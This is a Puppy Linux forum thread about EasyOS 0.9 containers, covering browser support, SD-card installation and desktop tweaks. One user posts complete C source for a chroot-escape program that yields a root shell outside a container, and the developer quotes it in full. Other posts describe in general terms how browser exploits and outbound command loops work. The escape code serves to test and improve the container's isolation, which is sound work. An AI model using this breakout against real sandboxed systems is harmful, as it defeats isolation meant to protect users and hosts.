EasyOS version 2.3.2, June 22, 2020

For talk and support relating specifically to Puppy derivatives
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belham2
Posts: 1715
Joined: Mon 15 Aug 2016, 22:47

#616 Post by belham2 »

Hi all,

Speaking of Seamonkey and browsers, has anyone gotten ANY other browser to work properly in a Container? I've tried Palemoon, Firefox, Chromium and Chrome, and not one of them will run properly in a Container. They'll run as user and/or as root (depending on browser), but not in a Container for any of them.

I mentioned this problem back in Easy 0.6, and I still cannot lick it. Is it because I run Easy as a "frugal-install"? I mean, the browsers would work in a Container if I did a "full" install to a USB and/or SD Card??

Anyway, in "frugal" mode, no matter how many times I install a browser, then use Easy to set the Container up, which it says it does, that browser is NOT running in a Container.

Wish I could figure it out... :(

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BarryK
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Re: Containers

#617 Post by BarryK »

Rodney Byne wrote:I'm not sure what happened but I manually
deleted an experimental item of mine sitting
adjacent to the SM in a container, then both container
and SM disappeared never to be seen again.
No hard coded right-click backup delete safeguards
- don't DO that whoops too late.
I would like to know exactly what you did!

Also, "disappeared" is so vague. What do you mean? Wouldn't SM start? -- I presume that is what you mean.

You can repair a broken container very easily, at least in theory, I have never actually had to do it...

Just go to the menu Filesystem -> Easy Version Control, down at the bottom of the window there is a button to erase the session (that is, erase the read-write layer) of a container. It should get you back to a pristine container.
[url]https://bkhome.org/news/[/url]

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BarryK
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#618 Post by BarryK »

belham2 wrote:Hi all,

Speaking of Seamonkey and browsers, has anyone gotten ANY other browser to work properly in a Container? I've tried Palemoon, Firefox, Chromium and Chrome, and not one of them will run properly in a Container. They'll run as user and/or as root (depending on browser), but not in a Container for any of them.

I mentioned this problem back in Easy 0.6, and I still cannot lick it. Is it because I run Easy as a "frugal-install"? I mean, the browsers would work in a Container if I did a "full" install to a USB and/or SD Card??

Anyway, in "frugal" mode, no matter how many times I install a browser, then use Easy to set the Container up, which it says it does, that browser is NOT running in a Container.

Wish I could figure it out... :(
I have written that one into my to-do list!

There was a problem reported earlier, that if you install a package, say a PET, it will not run in a container.
Only those apps that are builtin to the q.sfs will run in a container.

I plan to fix this in the next release.

A container is a simple aufs layered filesystem, with q.sfs on the bottom, and a read-write layer, just a folder, on the top layer.
Hence, the only apps available to run are those in the q.sfs.

There are various possible ways to fix this. The one I am thinking of using, is to convert the installed package, say firefox, into a SFS file, say firefox.sfs, and inserting that as a middle layer in the container.

This can be done automatically when the container is created.
[url]https://bkhome.org/news/[/url]

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rufwoof
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#619 Post by rufwoof »

Hi Barry.

If you want to extend http://bkhome.org/easy/how-to-write-eas ... drive.html to also include some guidance for writing the image from a Open BSD perspective ...

Download the easy image file and then verify its md5

Code: Select all

# md5 easy-0.9-amd64.img.gz
and verify that the output matches that in the md5.txt file as published on the download web page.

Plug in a MMC card and then use dmesg | grep MMC to identify the SD/MMC (alternatively grep for Flash ... or whatever removable device you are using).

In my case that showed sd3 i.e.

Code: Select all

# dmesg | grep MMC
produced a output of

Code: Select all

sd3 at scsibus2 targ 1 lun 2: <Generic-, SD/MMC, 1.00> SCSI0 0/direct removable
Run disklabel on that i.e in my case

Code: Select all

# disklabel sd3
and my 2GB MMC showed (that first line /dev/rsd3c is what we're interested in)

Code: Select all

# /dev/rsd3c:
type: SCSI
disk: SCSI disk
label: SD/MMC          
duid: 0000000000000000
flags:
bytes/sector: 512
sectors/track: 63
tracks/cylinder: 255
sectors/cylinder: 16065
cylinders: 246
total sectors: 3964928
boundstart: 0
boundend: 3964928
drivedata: 0 

16 partitions:
#                size           offset  fstype [fsize bsize   cpg]
  c:          3964928                0  unused                    
  i:          3962880             2048  ext2fs                    
obsd#

The first line indicates the device i.e. /dev/rsd3c in my case above, so I can write the easy image to that.

First unzip the file

Code: Select all

# gunzip easy-0.9-amd64.img.gz
and then dd it to the MMC card

Code: Select all

dd if=easy-0.9-amd64.img of=/dev/rsd3c bs=1M
... be patient, do something else or go off and make a cup of tea whilst the dd writes.

Afterwards run sync just to make sure all I/O has been flushed

Code: Select all

# sync
You can then reboot to load/run that. In my case, a BIOS PC setup I have to press F12 key during the boot process to bring up a boot medium selection list, from which I use the up/down arrow keys to select the SD/MMC device and then press ENTER.

First boot takes longer than usual because it does some more dd'ing type activity i.e. prepares remaining space still available on the MMC.

X didn't start straight off in my case and I had to run xorgwizard and select my graphics card (Radeon) and resolution (1440x900) and then verify that and run xwin to start X.

Initial defaults were hard on the eye for me, black text on green background. So after the default setting up it was straight to MENU, DESKTOP, JWM Desk Manager to start tweaking things. Posting the attached first-run screen capture from within the container version of seamonkey (after having copied the file across from the outer (non contained) level /mnt/wkg/home/media/images to /mnt/sdd2/containers/seamonkey/container/home folders) ... so that the contained seamonkey was able to see/upload that file.

I opine that a very new user wouldn't take to the theme/colours and perhaps as in my case small font interface that is initially seen, and the inexperienced would struggle initially with finding what and where to tweak things to improve upon that. A larger/clearer default initial theme would vastly simplify that. But that's just my opinion. Otherwise great.
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Sage
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#620 Post by Sage »

0.9VESA: Seems to work OK - boots straight into visible screen. But, curious when switching to multiple core machines it wants to run all the 'front end' boot processes again. This is not helpful for my stable which has a plethora of cpu core numbers. Sometimes, I just want to check out a machine is functional - testing is the most valuable asset for a 'portable' OS.

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rufwoof
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#621 Post by rufwoof »

BarryK wrote:
belham2 wrote:Hi all,

Speaking of Seamonkey and browsers, has anyone gotten ANY other browser to work properly in a Container? I've tried Palemoon, Firefox, Chromium and Chrome, and not one of them will run properly in a Container. They'll run as user and/or as root (depending on browser), but not in a Container for any of them.

I mentioned this problem back in Easy 0.6, and I still cannot lick it. Is it because I run Easy as a "frugal-install"? I mean, the browsers would work in a Container if I did a "full" install to a USB and/or SD Card??

Anyway, in "frugal" mode, no matter how many times I install a browser, then use Easy to set the Container up, which it says it does, that browser is NOT running in a Container.

Wish I could figure it out... :(
I have written that one into my to-do list!

There was a problem reported earlier, that if you install a package, say a PET, it will not run in a container.
Only those apps that are builtin to the q.sfs will run in a container.

I plan to fix this in the next release.

A container is a simple aufs layered filesystem, with q.sfs on the bottom, and a read-write layer, just a folder, on the top layer.
Hence, the only apps available to run are those in the q.sfs.

There are various possible ways to fix this. The one I am thinking of using, is to convert the installed package, say firefox, into a SFS file, say firefox.sfs, and inserting that as a middle layer in the container.

This can be done automatically when the container is created.
0.9 - I opened up the container version of console that's on the desktop by default, ran sakura terminal and changed the font size by right clicking the window so I had a better sized view, ran ppm and updated that, then searched for firefox and installed that via ppm, ran firefox & from the sakura terminal window and I'm running firefox now as I post this. A old version Firefox ESR 45.9, but definitely working inside a container for me. Just to be sure I was actually running inside the container I opened the normal desktop console and ran which firefox and that came back empty.

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rufwoof
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#622 Post by rufwoof »

Inside a container terminal session and tried mounting a HDD ... denied despite being root. Also tried busybox mount and that failed as well. gparted however and I could change the first partitions label from within the container and just to be sure I changed it back again using the standard (non container) gparted.

Presumably the mount request blocks are just software based barriers, copy across a alternative for instance I guess would circumvent those barriers.

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Billtoo
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EasyOS Pyro64 0.9 (April 15), Xerus64 0.6.8 (Jan. 4), 2018

#623 Post by Billtoo »

Easy Pyro64 0.9 with the radeon driver does a better job (no
tearing,flicker,etc) of streaming video than Xubuntu 18.04 Beta2 does
(so far).
Screenshot shows hd mp4 player on the left screen and a streaming CBC
TV program (in Palemoon) on the right screen, both are playing sound..

video-info-glx 1.5.3 Tue 17 Apr 2018 on Easy Pyro64 0.9 Linux 4.14.32 x86_64
0.0 VGA compatible controller: Advanced Micro Devices,
Inc. [AMD/ATI] Redwood PRO [Radeon HD 5550/5570/5630/6510/6610/7570]
oem: ATI ATOMBIOS
product: REDWOOD 01.00

X Server: Xorg Driver: radeon
X.Org version: 1.19.1
dimensions: 3840x1080 pixels (1013x285 millimeters)
depth of root window: 24 planes

direct rendering: Yes
server glx vendor string: SGI
server glx version string: 1.4
OpenGL vendor string: X.Org
OpenGL renderer string: Gallium 0.4 on AMD REDWOOD (DRM 2.50.0 / 4.14.32, LLVM 3.9.1)
OpenGL version string: 2.1 Mesa 17.0.7

Thanks.
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tigs
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#624 Post by tigs »

My "C" (windows 10) drive is a NVMe drive, any way carv a part out of that to install easy? Right now, I can't write partition on the NVMe. Even if I can, I wonder whether that will work as a data drive.

Thanks for suggestion re booting the SD with a reader. I don't like to have someting dangling or protruding out of my laptop. I just wanted to utilized the slot. My laptop has 3 internal drives already, 2 nvmes and 1 data. I am currently using the data to boot the easy. It is working well. I just don't know how to get it to work with the nvme drive.

PS: Once I created the two partitions following Barry's instruction, the C drive will become un-bootable.
Last edited by tigs on Wed 18 Apr 2018, 01:22, edited 1 time in total.

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rufwoof
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#625 Post by rufwoof »

Hi Barry

0.9 sfs download of devx sfs attempt resulted in a really ... really wide message saying no-can-do due to insufficient space (it said something to the effect that the file was 300MB or so whereas free space was "only" 600MB, so it correctly identified that there was sufficient space, but just didn't want to download it).

That aside, I downloaded the devx sfs and set bootloader to load it and then compiled the following exit-chroot

Code: Select all

#include <sys/stat.h>
#include <unistd.h>
#include <fcntl.h>

int main() {
    int dir_fd, x;
    setuid(0);
    mkdir(".42", 0755);
    dir_fd = open(".", O_RDONLY);
    chroot(".42");
    fchdir(dir_fd);
    close(dir_fd);  
    for(x = 0; x < 1000; x++) chdir("..");
    chroot(".");  
    return execl("/bin/sh", "-i", NULL);
}
Compiled it and set the permission to executable and when run inside a container results in exit out of chroot to the 'standard/normal' level (all system wide files/folders available with root permission to access those).

Pyro 0.9 amd executable attached (actual .gz file, so unzip it first).

EDIT : see also http://murga-linux.com/puppy/viewtopic. ... 58#1003058
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stemsee

#626 Post by stemsee »

It is working well on my Atom cherrytrail tablet. Bluetooth connected to my headphones first attempt ... however the same headphone was listed/found a dozen times and counting ...seems to be in a non-excluding loop.

Is there a script to upgrade the kernel? I did it manually to 4.16.1, by unsquashing q.sfs and adding flat contents of kernel-modules.sfs ... is there a technical reason they are not in initrd.q?

Touchscreen is working well, but no right click yet.

Keeps locking up on my 5 series i7 lenovo laptop. with 16gb ram. Could be the usb 2 dongle it boots from. Further tests required.

But the prospect of roll back and forward, easy share and overlayfs or aufs, outweighs teething problems.

The tutorial blogs are a great help, and easy read. Would make a nice eBook.

First install to a usb 2 stick was using dd, then installed to a populated usb 3 stick manually. Both work fine, booting in legacy mode.

Restarting X takes longer than I am used to.

cheers!

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rufwoof
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#627 Post by rufwoof »

BarryK wrote:There was a problem reported earlier, that if you install a package, say a PET, it will not run in a container.
Only those apps that are builtin to the q.sfs will run in a container.

I plan to fix this in the next release.

A container is a simple aufs layered filesystem, with q.sfs on the bottom, and a read-write layer, just a folder, on the top layer.
Hence, the only apps available to run are those in the q.sfs.

There are various possible ways to fix this. The one I am thinking of using, is to convert the installed package, say firefox, into a SFS file, say firefox.sfs, and inserting that as a middle layer in the container.

This can be done automatically when the container is created.
That does seem to be the obvious way to go, perhaps along with not deprecating spot but instead including a option to chroot using a setuid of spot into the container. That way the user would have to 'request' root to add programs to the container (i.e. outside of the container root finds/builds/add a sfs) and the user would be locked in (as running as spot) to the standard file permissions and other restrictions (wouldn't for instance be able to exit-chroot or change /etc/hosts ...etc.). Similarly if a browser breakout did occur inside a container i.e. remote hacker in effect had a cli prompt running on the inside (behind firewall) that was sending out requests asking for which command(s) to run next, then that would be contained to just the container (even more so if su or any other root access were prohibited inside containers that had been initiated with setuid spot).

The Dogs have apt2sfs type scripts that download packages and produce a sfs. Chroot with setuid is also relatively straight forward. Simplest solution IMO.

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BarryK
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#628 Post by BarryK »

rufwoof wrote:0.9 - I opened up the container version of console that's on the desktop by default, ran sakura terminal and changed the font size by right clicking the window so I had a better sized view, ran ppm and updated that, then searched for firefox and installed that via ppm, ran firefox & from the sakura terminal window and I'm running firefox now as I post this. A old version Firefox ESR 45.9, but definitely working inside a container for me. Just to be sure I was actually running inside the container I opened the normal desktop console and ran which firefox and that came back empty.
That's great! :D

I wondering about the possibilities of the console-in-a-container, and it is good that you are exploring it.
[url]https://bkhome.org/news/[/url]

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BarryK
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#629 Post by BarryK »

tigs wrote:My "C" (windows 10) drive is a NVMe drive, any way carv a part out of that to install easy? Right now, I can't write partition on the NVMe. Even if I can, I wonder whether that will work as a data drive.

Thanks for suggestion re booting the SD with a reader. I don't like to have someting dangling or protruding out of my laptop. I just wanted to utilized the slot. My laptop has 3 internal drives already, 2 nvmes and 1 data. I am currently using the data to boot the easy. It is working well. I just don't know how to get it to work with the nvme drive.

PS: Once I created the two partitions following Barry's instruction, the C drive will become un-bootable.
Good that you have a NVMe drive!

Well, good for testing anyway. Booted Easy from usb/sdcard, do the NVMe partitions show up as icons on the desktop?

If so, are you able to mount them?

If you type "probepart -m" in a terminal, do the NVMe partitions show as expected? It would be good to post the output here for us to see.
[url]https://bkhome.org/news/[/url]

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BarryK
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#630 Post by BarryK »

rufwoof wrote:Hi Barry

0.9 sfs download of devx sfs attempt resulted in a really ... really wide message saying no-can-do due to insufficient space (it said something to the effect that the file was 300MB or so whereas free space was "only" 600MB, so it correctly identified that there was sufficient space, but just didn't want to download it).

That aside, I downloaded the devx sfs and set bootloader to load it and then compiled the following exit-chroot

Code: Select all

#include <sys/stat.h>
#include <unistd.h>
#include <fcntl.h>

int main() {
    int dir_fd, x;
    setuid(0);
    mkdir(".42", 0755);
    dir_fd = open(".", O_RDONLY);
    chroot(".42");
    fchdir(dir_fd);
    close(dir_fd);  
    for(x = 0; x < 1000; x++) chdir("..");
    chroot(".");  
    return execl("/bin/sh", "-i", NULL);
}
Compiled it and set the permission to executable and when run inside a container results in exit out of chroot to the 'standard/normal' level (all system wide files/folders available with root permission to access those).

Pyro 0.9 amd executable attached (actual .gz file, so unzip it first).
Yeah. There are many other security settings for a container, I only ticked a couple of them. I need to revisit this area.

If you are running, say, Firefox, in a container, I don't know how the existence of a utility such as exit-chroot can be used.

The risk is from someone remote. Say sshd is running in a container, remote person logs in, I would think that anything that breaks out of the container would also kill the sshd session.

There is another thing to think about. I have considered another level of security. There is another pre-created container named 'ssh0', that is used by EasyShare.

For file transfers with EasyShare, using sshfs, not using Samba, the ssh login chroots into the container, as user "rover". rover has hardly any rights.

I did mention rover here:

http://bkhome.org/easyshare/easyshare-s ... aring.html

Something to think about, rover could be setup as default on all containers.
[url]https://bkhome.org/news/[/url]

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rufwoof
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#631 Post by rufwoof »

BarryK wrote:If you are running, say, Firefox, in a container, I don't know how the existence of a utility such as exit-chroot can be used.
Older browsers have their vulnerabilities published along with descriptions of the fixes. Some of those include execution of code vulnerabilities ... so a hacker knows where to focus their efforts to potentially exploit anyone who is running a older/unpatched browser. Outbound internet traffic is rarely monitored as are the returns from those outbound requests, so if a breach can install into memory even a small module that simply loops send-requests to the hackers IP and execute whatever command is returned, the hacker in effect has bypassed the firewall. Something like exit-root is just one of the things that might be tried, along with a barrage of others such as scanning around the LAN to see what other devices/systems might be available to have persistent code installed. Imagine a browser flaw that enabled installation into memory of a wget file from hacker site, execute that file in background ... looping type script sending the standard and error outputs out as further http requests ...

I strive to change my user-agent as revealing your browser version and operating system is a great aid in assisting towards targeted exploits. Faking your user-agent can vastly reduce the chances of a initial penetration (wrong exploits/code that wont work thrown at you). Only running root at the console (not under X) is yet another risk reduction choice. The entire 'nix file structure and permissions are geared to security utmost in mind. As are other barriers such as W^X (write exclusive or execute i.e. memory space restricted to being write only or execute only, not both), randomisation (so the structure of memory space changes rather than following a consistent pattern), Pledge (applications assigned sets of things that they are permitted to do, but prevented from accessing command/files outside of that) ...etc.

Security isn't just your data/PC, but anyone and anything else sharing the same LAN.

belham2
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#632 Post by belham2 »

rufwoof wrote:
BarryK wrote:If you are running, say, Firefox, in a container, I don't know how the existence of a utility such as exit-chroot can be used.
Older browsers have their vulnerabilities published along with descriptions of the fixes. Some of those include execution of code vulnerabilities ... so a hacker knows where to focus their efforts to potentially exploit anyone who is running a older/unpatched browser......

Security isn't just your data/PC, but anyone and anything else sharing the same LAN.

This confuses me. A lot of us rip samba (or any file sharing service) out of our puppies/ddogs, also erect a firewall that automatically blocks cifs/rpc/rsync/rdp/ssh/telnet/ftp/smtp and (if applicable) NetBIOS, along with routers (and its firewall) that is even more hardened than this.

Thus, in a setup like this, just how, when, where and why would it matter what browser you are running? Any hacker will be stymied at every stop trying to execute anything in memory, coming out of the browser. And if you are 100% in ram, with daily reboots, it's game over for anyone trying to come in through memory (and a browser). Plus, any looping process by a hacker installed memory applet will be hugely noticeable in how the cpu is acting.

Containers (and not just in Barry's Easy) emulate and/or help in this process a lot, so I am stumped here at the reasoning.... :?

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rufwoof
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#633 Post by rufwoof »

belham2 wrote:This confuses me. A lot of us rip samba (or any file sharing service) out of our puppies/ddogs, also erect a firewall that automatically blocks cifs/rpc/rsync/rdp/ssh/telnet/ftp/smtp and (if applicable) NetBIOS, along with routers (and its firewall) that is even more hardened than this.
Which blocks inbound. There are no firewalls on outbound. The objective for a hacker is to get that first outbound going, as the system will treat that as a outbound request and allow both that and the returned content/reply through.
Thus, in a setup like this, just how, when, where and why would it matter what browser you are running?
Because a 'faulty' browser might enable things to be loaded into memory and in effect the instruction pointer directed to that. If say you visit a malicious web site and view the content, the content of a image file for instance could include instruction code - do something, jump 20 forward for the next instruction and do that instruction, jump 30 forward ... etc. In other words a program that YOU downloaded into memory. Looked at as just a image and that image might look totally normal, or it might not even be seen, just downloaded along with html instructions to size the display of that image to being just one pixel. The tricky part for hackers is getting the instruction pointer to point to the very first instruction of their program, a faulty browser (or other such) exploit opens up the potential for that.
Any hacker will be stymied at every stop trying to execute anything in memory, coming out of the browser. And if you are 100% in ram, with daily reboots, it's game over for anyone trying to come in through memory (and a browser).
After initialisation of a program ... a lot can happen very quickly. A open window even a few seconds can be more than enough time. Having penetrated even most briefly most hacks will look around for potential means to remain persistent one way or another. Having root/full access to disk/devices etc. makes finding such a option more likely compared to running restricted.
Plus, any looping process by a hacker installed memory applet will be hugely noticeable in how the cpu is acting.
Only if the program is permitted to run away wildly, most hackers would consider that and adjust their programs accordingly. We are after all talking in very simplistic terms here, in practice things are way more complex. Big data for instance where even allowing sites to see what OS, browser, screen resolution ... etc you are using ... along with other measures can enable you to be individually identified (or at least into a sub-set group of limited numbers).

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rufwoof
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#634 Post by rufwoof »

Bug list as usual with Puppy, way way too long.

Jwm and Rox are a great partnership but Puppy destroys that.

One example, add a rox panel to the top of screen and no matter what it will be covered by maximised windows, even if you set rox to leave space for the panel, or other associated settings (remain on top ..etc.).

Desktop drive icons if you set to be further up to allow for a larger tray - reset. Desktop icons, remove them and they reappear (I prefer the convenience of dropping icons into the rox panel so you can drag/drop there instead of having to showdesktop to drag to a desktop icon). Use jwm desk setup to edit jwm and add another jwm tray to the left say (I prefer Dock to be over there and have a bottom panel that auto hides and shows menu and tasklist), and Puppy decides to rearrange all that to how it thinks it should be arranged (that doesn't work). Bloat of all the gui's to tweak this and that simply ruin things. Far better to learn a bit of XML syntax and have just a few links to the relevant files (.jwmrc etc.) in which you can 'code' all of your startup commands and configuration. Usable only if you strip out much of the bloat.

But that's all aside from Pyro 0.9. Only issue I've found so far is that if you move a container to the rox panel and remove the desktop icon, it reappears on the dektop again at the next reboot. But again that's not Pyro but Puppy.

Something odd with seamonkey font size settings. Had super small fonts initially but after playing around with UserChrome.css both in the outside and inside of containers I got that settled.

UTC wasn't set by default so the first time I setup the clocks in my other boots were all out by a hour.

Pyro wise I've tried multiple creation/deletions/restores etc. and all seems to work well. I've mostly used terminal containers and just built and run things inside each container, running rox and seamonkey etc. and that's all worked well. Did try running as spot but that didn't work (nobody permissions on the spot folder).

Concept seems to be working well. Particularly like the introduction (simple/third part) text about containers, found the first two technical text documents to be a bit too glazing.

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rufwoof
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#635 Post by rufwoof »

A workaround trick with a rox panel having maximised windows covering it is to create a second jwm tray using jwmdesk manager and put that for instance over to the far top right and then create a rox panel of the same height/background colour.

I set the bottom (main panel) to be central and autohide, increasing its height and just left the MENU, showdesktop, tasklist and xload in that tray. The top right tray I set to show the date and dock.

The rox panel (rest of top of screen) now remains visible when a window is maximised, and being a rox panel you can drag/drop files onto those icons (or use the middle mouse button to drag/move to rearrange those icons). Adding a icon to the panel is also just drag and drop
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